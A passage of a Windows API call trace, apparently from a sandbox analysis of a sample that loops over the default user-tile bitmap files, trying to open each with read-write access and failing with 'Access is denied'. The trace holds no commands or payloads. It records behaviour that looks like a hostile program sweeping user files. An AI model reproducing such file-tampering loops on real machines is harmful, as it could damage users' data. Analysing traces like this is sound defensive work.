out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.489] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.489] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.489] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.489] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.489] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.489] LocalFree (hMem=0x65ded8) returned 0x0 [0131.489] LocalFree (hMem=0x2568430) returned 0x0 [0131.489] GetLastError () returned 0x5 [0131.489] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.489] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.490] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.490] GetLastError () returned 0x5 [0131.490] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.490] GetLastError () returned 0x5 [0131.490] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.490] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.490] lstrlenW (lpString="CreateFile") returned 10 [0131.490] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.490] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.490] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.490] lstrlenW (lpString="5") returned 1 [0131.490] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.491] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.491] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.491] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.491] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.491] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.491] LocalFree (hMem=0x65ded8) returned 0x0 [0131.491] LocalFree (hMem=0x2568430) returned 0x0 [0131.491] GetLastError () returned 0x5 [0131.491] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.491] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.491] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.491] GetLastError () returned 0x5 [0131.491] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.491] GetLastError () returned 0x5 [0131.491] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.491] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.491] lstrlenW (lpString="CreateFile") returned 10 [0131.491] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.491] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.491] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.491] lstrlenW (lpString="5") returned 1 [0131.491] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.491] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.491] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.492] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.492] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.492] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.492] LocalFree (hMem=0x65ded8) returned 0x0 [0131.492] LocalFree (hMem=0x2568430) returned 0x0 [0131.492] GetLastError () returned 0x5 [0131.492] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.492] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.492] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.492] GetLastError () returned 0x5 [0131.492] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.492] GetLastError () returned 0x5 [0131.492] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.492] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.492] lstrlenW (lpString="CreateFile") returned 10 [0131.492] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.492] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.492] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.492] lstrlenW (lpString="5") returned 1 [0131.492] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.492] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.493] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.493] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.493] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.493] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.493] LocalFree (hMem=0x65ded8) returned 0x0 [0131.493] LocalFree (hMem=0x2568430) returned 0x0 [0131.493] GetLastError () returned 0x5 [0131.493] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.493] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.493] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.493] GetLastError () returned 0x5 [0131.493] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.493] GetLastError () returned 0x5 [0131.493] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.493] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.493] lstrlenW (lpString="CreateFile") returned 10 [0131.493] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.493] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.493] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.493] lstrlenW (lpString="5") returned 1 [0131.493] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.494] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.494] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.494] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.494] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.494] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.494] LocalFree (hMem=0x65ded8) returned 0x0 [0131.494] LocalFree (hMem=0x2568430) returned 0x0 [0131.494] GetLastError () returned 0x5 [0131.494] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.494] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.495] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.495] GetLastError () returned 0x5 [0131.495] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.495] GetLastError () returned 0x5 [0131.495] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.495] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.495] lstrlenW (lpString="CreateFile") returned 10 [0131.495] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.495] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.495] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.495] lstrlenW (lpString="5") returned 1 [0131.495] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.495] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.495] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.495] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.495] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.495] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.495] LocalFree (hMem=0x65ded8) returned 0x0 [0131.496] LocalFree (hMem=0x2568430) returned 0x0 [0131.496] GetLastError () returned 0x5 [0131.496] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.496] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.496] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.496] GetLastError () returned 0x5 [0131.496] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.496] GetLastError () returned 0x5 [0131.496] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.496] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.496] lstrlenW (lpString="CreateFile") returned 10 [0131.496] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.496] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.496] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.496] lstrlenW (lpString="5") returned 1 [0131.496] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.496] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.496] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.496] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.496] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.496] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.496] LocalFree (hMem=0x65ded8) returned 0x0 [0131.496] LocalFree (hMem=0x2568430) returned 0x0 [0131.496] GetLastError () returned 0x5 [0131.496] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.496] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.497] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.497] GetLastError () returned 0x5 [0131.497] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.497] GetLastError () returned 0x5 [0131.497] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.497] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.497] lstrlenW (lpString="CreateFile") returned 10 [0131.497] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.497] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.497] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.497] lstrlenW (lpString="5") returned 1 [0131.497] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.497] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.497] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.497] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.497] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.497] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.497] LocalFree (hMem=0x65ded8) returned 0x0 [0131.497] LocalFree (hMem=0x2568430) returned 0x0 [0131.497] GetLastError () returned 0x5 [0131.497] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.497] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.497] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.497] GetLastError () returned 0x5 [0131.498] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.498] GetLastError () returned 0x5 [0131.498] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.498] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.498] lstrlenW (lpString="CreateFile") returned 10 [0131.498] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.498] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.498] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.498] lstrlenW (lpString="5") returned 1 [0131.498] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.498] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.498] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.498] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.498] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.498] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.498] LocalFree (hMem=0x65ded8) returned 0x0 [0131.498] LocalFree (hMem=0x2568430) returned 0x0 [0131.498] GetLastError () returned 0x5 [0131.498] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.498] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.499] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.499] GetLastError () returned 0x5 [0131.499] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.500] GetLastError () returned 0x5 [0131.500] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.500] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.500] lstrlenW (lpString="CreateFile") returned 10 [0131.500] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.500] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.500] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.500] lstrlenW (lpString="5") returned 1 [0131.500] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.500] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.500] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.500] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.500] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.500] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.500] LocalFree (hMem=0x65ded8) returned 0x0 [0131.500] LocalFree (hMem=0x2568430) returned 0x0 [0131.500] GetLastError () returned 0x5 [0131.500] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.500] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.500] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.500] GetLastError () returned 0x5 [0131.500] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.500] GetLastError () returned 0x5 [0131.500] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.500] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.500] lstrlenW (lpString="CreateFile") returned 10 [0131.500] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.501] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.501] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.501] lstrlenW (lpString="5") returned 1 [0131.501] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.501] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.501] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" 